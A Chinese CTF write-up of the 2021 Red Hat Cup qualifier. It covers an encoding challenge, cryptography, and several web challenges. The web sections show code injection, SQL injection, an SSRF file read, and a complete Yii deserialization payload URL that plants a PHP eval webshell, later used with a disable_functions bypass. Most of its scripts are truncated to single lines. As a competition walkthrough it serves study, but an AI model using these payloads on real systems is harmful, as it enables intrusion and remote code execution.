2021年红帽杯初赛ctf部分试题wp
1 签到 EBC
下载文件发现该文件为EBC编码 使用kali自带工具iconv解码得到flag
Flag{we1c0me_t0_redhat2021}
iconv -f EBCDIC-IT -t utf-8 redhat/EBCDIC.txt
2 密码学-hpcurve
解密脚本
1 | from itertools import product |
在线运行sage代码
3 密码学-primegame
1 | exp.py: |
1 | 102, 108, 97, 103, 123, 55, 49, 53, 99, 51, 57, 99, 51, 45, 49, 98, 52, 54, 45, 52, 99, 50, 51, 45, 0] a = [ |
4 web-web find it
通过code
直接写入phpinfo()
http://eci-2zeg1tmyhxfbmpmn6585.cloudeci1.ichunqiu.com:80/?code=<?php phpinfo();?>
请求hack.php
find
搜索发现flag
flag{f21c9e0c-b8a0-4191-8e69-3580273b9e91}
本想这道题需要写入shell完成命令执行,真没想到直接搜索,真是好题
5 web-注入
注入脚本bool.py
1 | import requests |
获取用户名密码
admin f7ba3a53d25a376074e36
直接登录后台跳转至modify.php 该页面存在ssrf 直接读文件直接获取flag
file:///flag
file:///flag
TMD竞赛有非预期解 我不相信出题人故意干的 用御剑可以直接扫描出modify.php 且可以未授权访问 GG
6 web-framework
御剑扫描去www.zip源码包审计发现是一个yii框架, 然后在网站找到YII的cve漏洞的playload(https://blog.csdn.net/xuandao_ahfengren/article/details/111259943),然后修改playload代码,编写exp代码
EXP
1 |
|
然后写入shell
1 | http://eci-2zeekzpgsy8b4rsdmpvb.cloudeci1.ichunqiu.com/index.php?r=site%2Fabout&message=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NjoiYXNzZXJ0IjtzOjI6ImlkIjtzOjI0OiJhc3NlcnQoJF9SRVFVRVNUWyJjbWQiXSkiO31pOjE7czozOiJydW4iO319fX0=&cmd=die(file_put_contents(%27ab.php%27,%27%3C?php%20eval($_REQUEST[%22cmd%22]);?%3E%27)) |
得到一个ab.php的
使用蚁剑链接,链接后发现有个readflag 的文件,但是无法直接读取权限为003,直接使用蚁剑的disable_function插件可绕过进行交互式shell读取如下
flag{c70db8f4-5fda-4981-93ab-45b61efd6703}
7 杂项-colorfulcode
data1中的数据范围为0-19,data2中的前60字节数据与后面的数据明显不同,猜测data2中前60字节为像素信息,每3字节一个RGB像素点,则刚好20个像素点,编号为0-19,正好对应data1中的0-19数据,使用脚本将data1中的数据替换为像素点,并创建成一张图片。
data1中数据为7067字节,即一共7067个像素点,分解为宽度高度只有一个结果即37131(或131*37)
编写脚本
1 | from PIL import Image |
执行脚本得到图片
在线进行转换
得到flag
2021年红帽杯初赛ctf部分试题wp